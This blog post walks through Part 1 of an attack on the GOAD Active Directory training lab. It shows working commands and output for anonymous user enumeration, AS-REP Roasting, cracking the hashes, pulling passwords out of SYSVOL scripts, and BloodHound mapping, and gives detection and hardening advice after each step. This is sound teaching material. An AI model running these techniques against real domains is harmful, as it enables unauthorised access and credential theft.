---
title: "GOAD Part 1: From Zero Credentials to the Attack Graph"
description: "Walking through the GOAD Active Directory lab from a single Kali host: zero-knowledge host discovery, SMB signing checks, forest and trust mapping, unauthenticated user enumeration, AS-REP Roasting, SMB/SYSVOL secret hunting, and BloodHound graph analysis."
date: 2026-11-02
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/posts/opening-an-active-directory-assessment/
---

## Why I set up GOAD for this series

Single-DC practice machines run out of lessons pretty quickly. In real assessments, Active Directory usually breaks across **trusts**, **delegation**, **certificate services**, **GPO permissions**, and **ACL chains**. You only see those relationships when more than one domain is involved. I built this series around [GOAD (Game of Active Directory)](https://orange-cyberdefense.github.io/GOAD/) by Orange Cyberdefense because it packs two forests, three domains, and five servers into one network.

I stick to two habits throughout these notes. First, I use [NetExec](https://www.netexec.wiki/) (`nxc`) by default since it gives me one syntax across SMB, LDAP, Kerberos, MSSQL, and WinRM. When another tool is better suited for a specific step, I switch to it. Second, I write down **how to detect each step and how to fix it** right below the output. Grabbing a password is only half the job; knowing what log it leaves behind and which setting closes the hole is the part that actually helps on an engagement. My checklist follows the [S1ckB0y1337 AD Exploitation cheat sheet](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet) and [HackTricks](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology) so I do not skip the basics.

In this first part, I start with **zero credentials** on my Kali machine (`ghost@kali`), which is routed (not bridged) into the `192.168.56.0/24` lab network. The very first task is finding which hosts exist at all, and that discovery step teaches something most write-ups skip. From there I work up to valid accounts across all three domains plus a full BloodHound graph. If you want to look at how the two forests, directory partitions, `trustedDomain` objects, DNS forwarders, and service tiers are wired up before we break them, I wrote a separate note on [Multi-Forest Active Directory Architecture: How Forests, Trusts, DNS, and Tiered Services Actually Work](/posts/multi-forest-active-directory-architecture/).

<figure class="evidence">
<img
  src="/images/posts/goad-schema.png"
  alt="Official GOAD lab architecture schema (Orange Cyberdefense): Complete topology of the sevenkingdoms.local and essos.local forests, winterfell child domain, Windows Server 2019/2016 machines, IP addresses, services, trusts, and Kali attack vector."
  loading="lazy"
/>
<figcaption><span>Official GOAD Architecture</span> Complete topology diagram from Orange Cyberdefense showing the two forests (<code>sevenkingdoms.local</code> and <code>essos.local</code>), child domain <code>north.sevenkingdoms.local</code>, domain controllers, member servers, and network services.</figcaption>
</figure>

<figure class="diagram">
<svg viewBox="0 0 760 300" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="GOAD lab topology: two Active Directory forests. sevenkingdoms.local is the forest root on DC01 kingslanding at .10 with an Enterprise CA; north.sevenkingdoms.local is its child domain on DC02 winterfell at .11; essos.local is a separate forest on DC03 meereen at .12 with its own CA, linked to sevenkingdoms by a cross-forest trust. castelblack at .22 is a north member server running IIS and MSSQL; braavos at .23 is an essos member server running MSSQL, LAPS and a gMSA; one Kali host attacks all of them.">
<defs><marker id="goad-t1" viewBox="0 0 8 8" refX="4" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow" /></marker></defs>
<text x="0" y="16" class="dg-muted">TWO FORESTS · THREE DOMAINS · FIVE WINDOWS HOSTS (192.168.56.0/24)</text>
<rect x="0" y="40" width="210" height="74" rx="8" class="dg-box" />
<text x="14" y="64" class="dg-label">north.sevenkingdoms.local</text>
<text x="14" y="85" class="dg-mono dg-compact">DC02 · winterfell · .11</text>
<text x="14" y="103" class="dg-muted">child domain</text>
<rect x="275" y="40" width="210" height="74" rx="8" class="dg-box-accent" />
<text x="289" y="64" class="dg-label">sevenkingdoms.local</text>
<text x="289" y="85" class="dg-mono dg-compact">DC01 · kingslanding · .10</text>
<text x="289" y="103" class="dg-accent">forest root · ADCS</text>
<rect x="550" y="40" width="210" height="74" rx="8" class="dg-box-accent" />
<text x="564" y="64" class="dg-label">essos.local</text>
<text x="564" y="85" class="dg-mono dg-compact">DC03 · meereen · .12</text>
<text x="564" y="103" class="dg-accent">separate forest · ADCS</text>
<line x1="210" y1="86" x2="275" y2="86" class="dg-line" marker-end="url(#goad-t1)" marker-start="url(#goad-t1)" />
<text x="214" y="80" class="dg-muted dg-compact">parent/child</text>
<line x1="485" y1="86" x2="550" y2="86" class="dg-line-accent" marker-end="url(#goad-t1)" marker-start="url(#goad-t1)" />
<text x="489" y="80" class="dg-muted dg-compact">cross-forest</text>
<line x1="105" y1="114" x2="105" y2="172" class="dg-line" marker-end="url(#goad-t1)" />
<rect x="0" y="174" width="210" height="72" rx="8" class="dg-box" />
<text x="14" y="197" class="dg-label">SRV02 · castelblack · .22</text>
<text x="14" y="217" class="dg-mono dg-compact">north member</text>
<text x="14" y="233" class="dg-muted dg-compact">IIS + MSSQL</text>
<line x1="655" y1="114" x2="655" y2="172" class="dg-line" marker-end="url(#goad-t1)" />
<rect x="550" y="174" width="210" height="72" rx="8" class="dg-box" />
<text x="564" y="197" class="dg-label">SRV03 · braavos · .23</text>
<text x="564" y="217" class="dg-mono dg-compact">essos member</text>
<text x="564" y="233" class="dg-muted dg-compact">MSSQL · LAPS · gMSA</text>
<line x1="380" y1="114" x2="380" y2="254" class="dg-line dg-dash" />
<rect x="275" y="256" width="210" height="40" rx="8" class="dg-box" />
<text x="300" y="281" class="dg-label">Kali · ghost@kali</text>
</svg>
<figcaption>The GOAD lab layout: two forests (<code>sevenkingdoms.local</code> and <code>essos.local</code>) connected by a cross-forest trust, with <code>north.sevenkingdoms.local</code> as a child domain.</figcaption>
</figure>

### Lab baseline and defensive posture

The official GOAD documentation specifies five Windows hosts spanning two forests and three domains on the `192.168.56.0/24` subnet:

| Host | IP | Domain | Role | OS | Windows Defender |
| :--- | :--- | :--- | :--- | :--- | :--- |
| `DC01` (kingslanding) | `192.168.56.10` | `sevenkingdoms.local` | Forest Root DC, Enterprise CA (AD CS) | Windows Server 2019 | **Enabled** |
| `DC02` (winterfell) | `192.168.56.11` | `north.sevenkingdoms.local` | Child Domain DC, DNS | Windows Server 2019 | **Enabled** |
| `SRV02` (castelblack) | `192.168.56.22` | `north.sevenkingdoms.local` | Member Server, IIS (ASP Upload), MSSQL | Windows Server 2019 | **Disabled** |
| `DC03` (meereen) | `192.168.56.12` | `essos.local` | Forest Root DC, Enterprise CA (AD CS) | Windows Server 2016 | **Enabled** |
| `SRV03` (braavos) | `192.168.56.23` | `essos.local` | Member Server, MSSQL, LAPS, gMSA | Windows Server 2016 | **Enabled** |

> [!NOTE]
> In GOAD's design, Windows Defender is intentionally disabled on `castelblack` (`SRV02`) to permit web shell and SQL exploitation demonstrations without local AV intervention. In contrast, all three Domain Controllers run with Defender active, demonstrating that memory-only Kerberos attacks, LDAP queries, and ticket manipulation generate zero on-disk AV alerts.

### Initial vectors and scenario mapping

Every user in the lab is modeled around a specific Active Directory vulnerability pattern:

| Account / Object | Domain | Misconfiguration / Vector | Assessment Phase |
| :--- | :--- | :--- | :--- |
| `samwell.tarly` | `NORTH` | Password in LDAP `description` field | Part 1 (Foothold) & Part 2 (GPO Abuse) |
| `missandei` | `ESSOS` | Kerberos pre-authentication disabled (`AS-REP Roasting`) | Part 1 (Foothold) & Part 4 (Trust Abuse) |
| `jon.snow` | `NORTH` | SPN configured (`Kerberoasting`) & MSSQL `sysadmin` | Part 2 & [MSSQL Linked Servers](/posts/mssql-linked-servers/) |
| `tywin.lannister` | `SEVENKINGDOMS` | Encrypted `SecureString` credentials in SYSVOL | Part 1 & Part 3 (ACL Chain) |
| `rickon.stark` | `NORTH` | Predictable seasonal password (`WinterYYYY`) | Part 1 (Password Spray Alternative) |
| `eddard.stark` / `robb.stark` | `NORTH` | Simulated bot accounts triggering periodic LLMNR traffic | Part 1 (Passive Poisoning Alternative) |
| `StarkWallpaper` GPO | `NORTH` | Misconfigured DACL allowing user-level scheduled tasks | Part 2 (Privilege Escalation) |
| `khal.drogo` / `viserys` | `ESSOS` | `GenericAll` ACL chain & Shadow Credentials | Part 4 (Forest Compromise) |

## Phase 1: Host discovery and SMB signing

Dropped onto an assessment with a routed connection to the target subnet (`192.168.56.0/24`) and zero credentials, the first step is discovering live hosts. Since we are reaching the lab across a routed path, we run an ICMP Layer 3 sweep using `fping`:

```bash
$ fping -ag 192.168.56.0/24 2>/dev/null
192.168.56.1
192.168.56.10
192.168.56.11
192.168.56.12
192.168.56.22
192.168.56.23
```

Six addresses respond. `.1` is the gateway; the other five are the Windows hosts we care about.

With five live hosts in hand, the next question is which ones are Windows, which are Domain Controllers, and where SMB signing is turned off. One unauthenticated `nxc smb` sweep answers all three:

```bash
$ nxc smb 192.168.56.10 192.168.56.11 192.168.56.12 192.168.56.22 192.168.56.23
SMB  192.168.56.12  445  MEEREEN       [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN)      (domain:essos.local)                   (signing:True)  (SMBv1:True)  (Null Auth:True)
SMB  192.168.56.23  445  BRAAVOS       [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:BRAAVOS)      (domain:essos.local)                   (signing:False) (SMBv1:True)
SMB  192.168.56.11  445  WINTERFELL    [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL)            (domain:north.sevenkingdoms.local)     (signing:True)  (SMBv1:None) (Null Auth:True)
SMB  192.168.56.22  445  CASTELBLACK   [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK)           (domain:north.sevenkingdoms.local)     (signing:False) (SMBv1:None)
SMB  192.168.56.10  445  KINGSLANDING  [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING)          (domain:sevenkingdoms.local)           (signing:True)  (SMBv1:None) (Null Auth:True)
```

Next, I run a quick TCP port scan to separate the Domain Controllers from the member servers:

```bash
$ nmap -Pn -sT -p 53,80,88,135,139,389,445,464,636,1433,3268,3389,5985,9389 --open 192.168.56.10-23 -oG -
Host: 192.168.56.10  Ports: 53, 80, 88, 135, 139, 389, 445, 464, 636, 3268, 3389, 5985, 9389
Host: 192.168.56.11  Ports: 53,     88, 135, 139, 389, 445, 464, 636, 3268, 3389, 5985, 9389
Host: 192.168.56.12  Ports: 53, 80, 88, 135, 139, 389, 445, 464, 636, 3268, 3389, 5985, 9389
Host: 192.168.56.22  Ports:     80, 135, 139, 445, 1433, 3389, 5985
Host: 192.168.56.23  Ports:     80, 135, 139, 445, 1433, 3389, 5985
```

The hosts listening on `88` (Kerberos), `389/636` (LDAP/LDAPS), `3268` (Global Catalog), and `9389` (AD Web Services) are our three Domain Controllers (`.10`, `.11`, `.12`). Both `.10` and `.12` also have port `80/tcp` open on a DC, which usually points to **AD CS Web Enrollment** and will matter later when we look at certificate templates. The two member servers (`.22` and `.23`) run **MSSQL** on `1433`. Most importantly, `CASTELBLACK` (`.22`) and `BRAAVOS` (`.23`) both return **`signing:False`**, meaning any coerced or poisoned NTLM authentication can be relayed straight to them.

**Detection:** You can check SMB signing status across your own fleet with `Get-SmbServerConfiguration` or a periodic scan, and you should alert on incoming NTLM authentications to servers where signing is not required.

**Control:** Enable *Microsoft network server: Digitally sign communications (always)* via GPO on all member servers, disable SMBv1 (`MEEREEN` and `BRAAVOS` still have it enabled), and restrict NTLM where Kerberos can be used instead.

## Phase 2: Mapping the forests and trusts

The SMB banners gave us three DNS names (`sevenkingdoms.local`, `north.sevenkingdoms.local`, and `essos.local`), but domain names alone do not prove how the directory is structured. I check DNS `SRV` records and the LDAP `RootDSE` to confirm the actual topology:

```bash
$ for d in sevenkingdoms.local north.sevenkingdoms.local essos.local; do
    echo "=== $d ==="; dig @192.168.56.10 _ldap._tcp.dc._msdcs.$d SRV +short; done
=== sevenkingdoms.local ===
0 100 389 kingslanding.sevenkingdoms.local.
=== north.sevenkingdoms.local ===
0 100 389 winterfell.north.sevenkingdoms.local.
=== essos.local ===
0 100 389 meereen.essos.local.
```

Notice that `192.168.56.10` resolves `essos.local` right away. An isolated forest has no idea how to resolve another forest's internal zone unless someone configured a **conditional forwarder**, which is required before setting up a cross-forest trust. Querying `RootDSE` on all three DCs confirms how the partitions line up:

```bash
$ for ip in 192.168.56.10 192.168.56.11 192.168.56.12; do
    echo "=== $ip ==="; ldapsearch -x -H ldap://$ip -b "" -s base \
      defaultNamingContext rootDomainNamingContext | grep -E "^(default|root)"; done
=== 192.168.56.10 ===
defaultNamingContext: DC=sevenkingdoms,DC=local
rootDomainNamingContext: DC=sevenkingdoms,DC=local
=== 192.168.56.11 ===
defaultNamingContext: DC=north,DC=sevenkingdoms,DC=local
rootDomainNamingContext: DC=sevenkingdoms,DC=local
=== 192.168.56.12 ===
defaultNamingContext: DC=essos,DC=local
rootDomainNamingContext: DC=essos,DC=local
```

On `.11`, `defaultNamingContext` (`DC=north,DC=sevenkingdoms,DC=local`) is different from `rootDomainNamingContext` (`DC=sevenkingdoms,DC=local`). That confirms `north` is a **child domain** sharing the same forest, Schema, and Configuration partitions as `.10`. Taking over the child domain puts us inside the same security boundary as the forest root. Meanwhile, `.12` is its own forest root (`DC=essos,DC=local`), connected over a cross-forest trust.

**Detection:** `RootDSE` queries are unauthenticated by design so clients can locate a DC before logging in. You will not catch this in a DC log; it is a network segmentation question.

**Control:** Restrict LDAP and Global Catalog ports (`389/636/3268`) from untrusted networks, and always treat the **forest** (not the individual domain) as your actual security boundary.

## Phase 3: Unauthenticated user enumeration

In Phase 1, `nxc` reported `Null Auth:True` on all three DCs, but allowing an anonymous SMB session is not the same thing as allowing anonymous SAMR queries. I test all three DCs with `--users` to see which one actually leaks its account list:

```bash
$ nxc smb 192.168.56.10 192.168.56.11 192.168.56.12 -u '' -p '' --users
SMB  192.168.56.10  445  KINGSLANDING  [+] sevenkingdoms.local\:
SMB  192.168.56.11  445  WINTERFELL    [+] north.sevenkingdoms.local\:
SMB  192.168.56.12  445  MEEREEN       [+] essos.local\:
SMB  192.168.56.11  445  WINTERFELL    -Username-      -Last PW Set-        -BadPW-  -Description-
SMB  192.168.56.11  445  WINTERFELL    Guest           <never>              0        Built-in account for guest access to the computer/domain
SMB  192.168.56.11  445  WINTERFELL    arya.stark      2026-11-03 13:30:26  0        Arya Stark
SMB  192.168.56.11  445  WINTERFELL    sansa.stark     2026-11-03 13:30:44  0        Sansa Stark
SMB  192.168.56.11  445  WINTERFELL    brandon.stark   2026-11-03 13:30:48  0        Brandon Stark
SMB  192.168.56.11  445  WINTERFELL    rickon.stark    2026-11-03 13:30:52  0        Rickon Stark
SMB  192.168.56.11  445  WINTERFELL    hodor           2026-11-03 13:30:56  0        Brainless Giant
SMB  192.168.56.11  445  WINTERFELL    jon.snow        2026-11-03 13:30:59  0        Jon Snow
SMB  192.168.56.11  445  WINTERFELL    samwell.tarly   2026-11-03 13:31:03  0        Samwell Tarly (Password : Heartsbane)
SMB  192.168.56.11  445  WINTERFELL    jeor.mormont    2026-11-03 13:31:06  0        Jeor Mormont
SMB  192.168.56.11  445  WINTERFELL    sql_svc         2026-11-03 13:31:10  0        sql service
SMB  192.168.56.11  445  WINTERFELL    [*] Enumerated 10 local users: NORTH
```

`KINGSLANDING` and `MEEREEN` accept the null bind but block the SAMR query. `WINTERFELL` (`.11`), on the other hand, hands over all ten `NORTH` accounts without a single login attempt, so `badPwdCount` stays at zero. Right in the description field for `samwell.tarly`, someone left `(Password : Heartsbane)`. I also test `hodor` with his own username as the password, and both work:

```bash
$ nxc smb 192.168.56.11 -u samwell.tarly -p Heartsbane
SMB  192.168.56.11  445  WINTERFELL  [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
$ nxc smb 192.168.56.11 -u hodor -p hodor
SMB  192.168.56.11  445  WINTERFELL  [+] north.sevenkingdoms.local\hodor:hodor
```

**Detection:** Anonymous SAMR enumeration triggers Event ID `4661` and `4662` on the DC from an anonymous logon session. Passwords left in user descriptions can be caught with a simple LDAP audit looking for strings like `pass` or `pwd` in `description` and `info`.

**Control:** Set `RestrictAnonymous = 1` and `RestrictAnonymousSAM = 1` (and remove *Everyone* and *Anonymous Logon* from *Network access: Let Everyone permissions apply to anonymous users*), and clear any credentials out of AD object descriptions.

## Phase 4: AS-REP Roasting

If an account has *Do not require Kerberos pre-authentication* (`UF_DONT_REQUIRE_PREAUTH`) enabled, anyone can ask the KDC for an `AS-REP` ticket without knowing the password, and the encrypted part of that response can be cracked offline ([MITRE T1558.004](https://attack.mitre.org/techniques/T1558/004/)). I feed the `NORTH` user list and a short list of `ESSOS` names into `impacket-GetNPUsers`:

```bash
$ impacket-GetNPUsers north.sevenkingdoms.local/ -dc-ip 192.168.56.11 -usersfile north_users.txt -no-pass -format hashcat
[-] User arya.stark doesn’t have UF_DONT_REQUIRE_PREAUTH set
[-] User sansa.stark doesn’t have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:f5783d384b0334dd573619ab77cf9694$5241...<snip>
[-] User jon.snow doesn’t have UF_DONT_REQUIRE_PREAUTH set
...

$ impacket-GetNPUsers essos.local/ -dc-ip 192.168.56.12 -usersfile essos_users.txt -no-pass -format hashcat
$krb5asrep$23$missandei@ESSOS.LOCAL:c80486622b4c57e0d168338333c1e4f7$23f3...<snip>
```

Both responses come back encrypted with RC4 (`etype 23`), which means the KDC encrypted them directly with the account's NT hash. Running `hashcat` with `rockyou.txt` cracks both in a couple of seconds:

```bash
$ hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt
$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:...:iseedeadpeople
$krb5asrep$23$missandei@ESSOS.LOCAL:...:fr3edom
```

That gives us `brandon.stark : iseedeadpeople` in `NORTH` and `missandei : fr3edom` in `ESSOS`, which gets us into the second forest without ever logging into it first.

**Detection:** An `AS-REQ` without pre-authentication logs Event ID `4768` with Pre-Authentication Type `0`. Any pre-auth type `0` request for a normal user account is worth alerting on.

**Control:** Remove `UF_DONT_REQUIRE_PREAUTH` across all user accounts. If a legacy application genuinely requires it, assign a random 25+ character password to that account.

## Phase 5: Hunting for credentials in SMB shares and SYSVOL

Once I have a single working account (`samwell.tarly`), I check which SMB shares it can read or write across all five hosts:

```bash
$ nxc smb 192.168.56.10 192.168.56.11 192.168.56.12 192.168.56.22 192.168.56.23 \
    -u samwell.tarly -p Heartsbane -d north.sevenkingdoms.local --shares
SMB  192.168.56.10  445  KINGSLANDING  [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
SMB  192.168.56.23  445  BRAAVOS       [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
SMB  192.168.56.22  445  CASTELBLACK   all          READ,WRITE   Basic RW share for all
SMB  192.168.56.22  445  CASTELBLACK   public       READ,WRITE   Basic Read share for all domain users
SMB  192.168.56.23  445  BRAAVOS       all          READ,WRITE   Basic RW share for all
SMB  192.168.56.23  445  BRAAVOS       CertEnroll   READ         Active Directory Certificate Services share
SMB  192.168.56.10  445  KINGSLANDING  CertEnroll   READ         Active Directory Certificate Services share
```

Seeing `samwell.tarly` from `NORTH` authenticate to `BRAAVOS` in `essos.local` confirms the cross-forest trust is active. The two `CertEnroll` shares also confirm that both forests run Active Directory Certificate Services. Looking inside `\\castelblack\all` and the `SYSVOL` scripts folder on `winterfell` turns up three more files:

```bash
$ smbclient //192.168.56.22/all -U "north.sevenkingdoms.local/samwell.tarly%Heartsbane" -c "get arya.txt -"
... I left a little surprise for you in your room - the sword You’ve named "Needle." ...

$ smbclient //192.168.56.11/SYSVOL -U "north.sevenkingdoms.local/samwell.tarly%Heartsbane" \
    -c 'get north.sevenkingdoms.local\scripts\script.ps1 -'
$user = "NORTH\jeor.mormont"
$password = "_L0ngCl@w_"

$ smbclient //192.168.56.11/SYSVOL -U "north.sevenkingdoms.local/samwell.tarly%Heartsbane" \
    -c 'get north.sevenkingdoms.local\scripts\secret.ps1 -'
# secret stored :
$keyData = 177, 252, 228, 64, 28, 91, 12, 201, 20, 91, 21, 139, 255, 65, 9, 247, ...
$secret  = "76492d1116743f0423413b16050a5345MgB8AGkAcwBDACsAUwAr...<snip>"
# T.L.
```

Each file gives us another set of credentials:
1. `arya.txt` mentions the sword *Needle*, and testing `arya.stark : Needle` against `.11` succeeds.
2. `script.ps1` has `jeor.mormont : _L0ngCl@w_` hardcoded in plaintext.
3. `secret.ps1` uses a PowerShell `SecureString`, but the 32-byte AES key (`$keyData`) is sitting right above `$secret`. Decrypting it with `ConvertTo-SecureString -Key $keyData` in `pwsh` reveals `powerkingftw135`, and the `# T.L.` comment points to `tywin.lannister` in the parent domain `sevenkingdoms.local`.

**Detection:** Since `SYSVOL` and `NETLOGON` have to be readable by every domain member, you cannot alert on read access alone. Instead, scan those folders regularly for hardcoded credentials, `ConvertTo-SecureString`, or AES key arrays, and monitor writable file shares for suspicious files.

**Control:** Move logon scripts and scheduled tasks off hardcoded credentials and onto **gMSAs**. Remove *Domain Users* write permissions from shared folders like `all` and `public`, because any world-writable share lets an attacker drop `.scf` or `.url` files to coerce NTLM hashes from anyone browsing the folder.

## Phase 6: Mapping the attack surface with BloodHound

At this point I have working credentials in all three domains. I run `bloodhound-ce-python` to pull the users, groups, computers, ACLs, SPNs, delegation settings, and trusts from LDAP:

```bash
$ bloodhound-ce-python -c All -u samwell.tarly -p Heartsbane \
    -d north.sevenkingdoms.local -ns 192.168.56.10 --zip
INFO: Found AD domain: north.sevenkingdoms.local
INFO: Connecting to LDAP server: winterfell.north.sevenkingdoms.local
INFO: Found 17 users, 51 groups, 2 computers, 1 trust
INFO: Compressing output into 20261103_bloodhound.zip
```

After running the same collection against `sevenkingdoms.local` and `essos.local` and importing the zip files into BloodHound CE, I mark our compromised accounts as **Owned**. Querying the shortest path from `tywin.lannister` to the forest-root DC lays out an eight-hop ACL chain that we will walk step by step in Part 3:

<figure class="evidence"><img src="/images/posts/goad-evidence/active-directory-relationship-chain.webp" alt="Illustrated recap of the eight-hop ACL chain from tywin.lannister to the KINGSLANDING Domain Controller" loading="lazy" /><figcaption><span>Chain overview</span> Shortest path from <code>tywin.lannister</code> to <code>KINGSLANDING</code> (DC01): <code>ForceChangePassword → GenericWrite → WriteDacl → AddSelf → AddMember → WriteOwner → GenericAll → GenericAll</code>. Every hop relies on permissions that an ordinary authenticated user can read from LDAP.</figcaption></figure>

None of this required admin rights to discover; Active Directory allows `Authenticated Users` to read object security descriptors by default. BloodHound also lists every Kerberoastable and AS-REP roastable account across the three domains, which sets up our targets for Part 2:

<figure class="evidence evidence--compact"><a href="/images/posts/goad-evidence/bloodhound-roastable.webp" target="_blank" rel="noopener" aria-label="Open the BloodHound list of roastable accounts"><img src="/images/posts/goad-evidence/bloodhound-roastable.webp" alt="BloodHound results table listing accounts with a Service Principal Name or without Kerberos pre-authentication across the three domains: sql_svc, sansa.stark, jon.snow, brandon.stark, gmsaDragon, missandei, and the krbtgt accounts marked Tier Zero" loading="lazy" /></a><figcaption><span>BloodHound CE</span> Kerberoastable and AS-REP roastable principals across the three domains. The SPN accounts (<code>jon.snow</code>, <code>sql_svc</code>, <code>sansa.stark</code>) are our Kerberoasting targets in Part 2.</figcaption></figure>

**Detection:** BloodHound collection generates a spike of LDAP queries across all object classes along with SMB session enumeration on member servers. Defenders can watch for heavy LDAP sweeps (Event ID `1644` / `2889` when LDAP diagnostics are enabled) coming from non-admin workstations.

**Control:** You cannot turn off LDAP read access without breaking Active Directory, so the real fix is pruning the attack paths themselves: cleaning up stray ACLs (`GenericAll`, `WriteDacl`, `WriteOwner`), removing unnecessary delegation flags, and flattening tangled group memberships.

## Summary of findings

| Finding | Host / domain | Impact | Verify (from Kali) | Control |
| --- | --- | --- | --- | --- |
| SMB signing not required | `castelblack` `.22`, `braavos` `.23` | NTLM relay target | `nxc smb 192.168.56.22 192.168.56.23` | Enforce SMB signing (always) via GPO; disable SMBv1 |
| Child domain shares forest with root | `winterfell` `.11` | Child compromise reaches the forest boundary | `ldapsearch -x -H ldap://192.168.56.11 -b "" -s base rootDomainNamingContext` | Treat the forest, not the domain, as the security boundary |
| Anonymous SAMR user enumeration | `winterfell` `.11` | Leaks all 10 NORTH users + `samwell.tarly:Heartsbane` | `nxc smb 192.168.56.11 -u '' -p '' --users` | `RestrictAnonymous=1`; audit `description` for secrets |
| AS-REP roastable accounts | `brandon.stark`, `missandei` | Offline-crackable (`iseedeadpeople`, `fr3edom`) | `nxc ldap <dc> -u '' -p '' --asreproast out.txt` | Require Kerberos pre-auth; long random passwords |
| Secrets in shares & SYSVOL | `\\castelblack\all`, `\\winterfell\SYSVOL` | `arya:Needle`, `jeor.mormont` (`_L0ngCl@w_`), `tywin.lannister` (`powerkingftw135`) | `nxc smb <hosts> -u <user> -p <pass> --shares` then `smbclient` | No secrets in scripts; gMSA; remove Domain Users write |
| World-writable shares | `castelblack`, `braavos` | NTLM coercion via dropped `.scf`/`.url` | `nxc smb 192.168.56.22 -u <user> -p <pass> --shares` | Remove write for Domain Users; monitor share writes |
| Readable attack graph | all three domains | ACL chains, Kerberoast, delegation to Tier 0 | `bloodhound-ce-python -c All -u <user> -p <pass> -d <domain> -ns <dc>` | Reduce edges: audit ACLs, delegation, group nesting |

## Up next in Part 2

With working accounts in every domain and the BloodHound data loaded, [Part 2](/posts/north-domain-compromise/) moves into `north.sevenkingdoms.local` to take over `DC02`: Kerberoasting `jon.snow` and `sql_svc`, abusing constrained delegation with `S4U2Self` and `S4U2Proxy`, and injecting a scheduled task through a writable GPO owned by `samwell.tarly`.

## Evidence and limits

The command transcripts and BloodHound captures in this post come from the isolated GOAD instance described in the [lab build note](/posts/goad-lab-setup/), starting from a clean snapshot and a Kali host with no domain credentials. Long hashes, encrypted blobs, and repetitive tool output are shortened where they do not change the result; successful and failed authentication signals are kept so the sequence can be checked.

GOAD deliberately embeds weak passwords, anonymous access, writable shares, and unsafe ACLs. Their presence demonstrates the discovery method, not their frequency in production. No scan or authentication attempt left the host-only lab network, and none of the displayed accounts or secrets belongs to a real organization.

## References

- **Orange Cyberdefense, GOAD (Game of Active Directory):** [orange-cyberdefense.github.io/GOAD](https://orange-cyberdefense.github.io/GOAD/)
- **S1ckB0y1337, Active Directory Exploitation Cheat Sheet:** [github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet)
- **HackTricks, Active Directory Methodology:** [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology)
- **MITRE ATT&CK, AS-REP Roasting (T1558.004):** [attack.mitre.org/techniques/T1558/004](https://attack.mitre.org/techniques/T1558/004/)
- **RFC 4120, The Kerberos Network Authentication Service (V5):** [datatracker.ietf.org/doc/html/rfc4120](https://datatracker.ietf.org/doc/html/rfc4120)
- **Microsoft, Best Practices for Securing Active Directory:** [learn.microsoft.com](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/best-practices-for-securing-active-directory)